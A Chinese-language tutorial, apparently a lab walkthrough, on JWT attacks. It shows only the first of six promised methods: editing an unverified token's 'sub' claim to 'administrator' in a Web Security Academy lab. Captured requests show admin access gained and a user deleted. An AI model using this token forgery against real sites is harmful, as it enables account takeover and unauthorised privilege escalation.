6种常见的JWT attack方法,绕过网站身份验证

JWT攻击是使用者向网站发送修改后的JWT，目标是冒充另一个身份的使用者，并绕过身份验证和存取控制。如果攻击者能够使用任意值创建自己的JWT有效令牌，他们能够升级自己的权限或冒充其他用户，完全控制他们的帐户。

JWT常见攻击手法有以下几种：

关于JWT的介绍可参考 json web token介绍

1.签名未验证
网站没有验证JWT签名，攻击者可以对JWT内容任意更改
举例如下，当存取admin页面时，返回只有administrator帐户才能使用

################ request ################ GET /admin HTTP/1.1Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.netCookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPwCache-Control: max-age=0...omit...################ response ################ ...omit... only allow administrator ...omit...

使用JWT editor可以发现，token中的eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0等于以下

{    "iss": "portswigger",    "sub": "wiener",    "exp": 1656578414}

透过JWT editor将上述内容改为administrator

{    "iss": "portswigger",    "sub": "administrator",    "exp": 1656578414}

此时token里这部份会变成eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9
送出编辑token后的请求，可成功存取admin介面

################ request ################ GET /admin HTTP/1.1Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.netCookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPwCache-Control: max-age=0...omit...################ response ################ ...omit...<section><p>User deleted successfully!</p><h1>Users</h1><div><span>wiener - </span><a href="/admin/delete?username=wiener">Delete</a>...omit...

参考资料
6种常见的JWT attack方法
Web Security Academy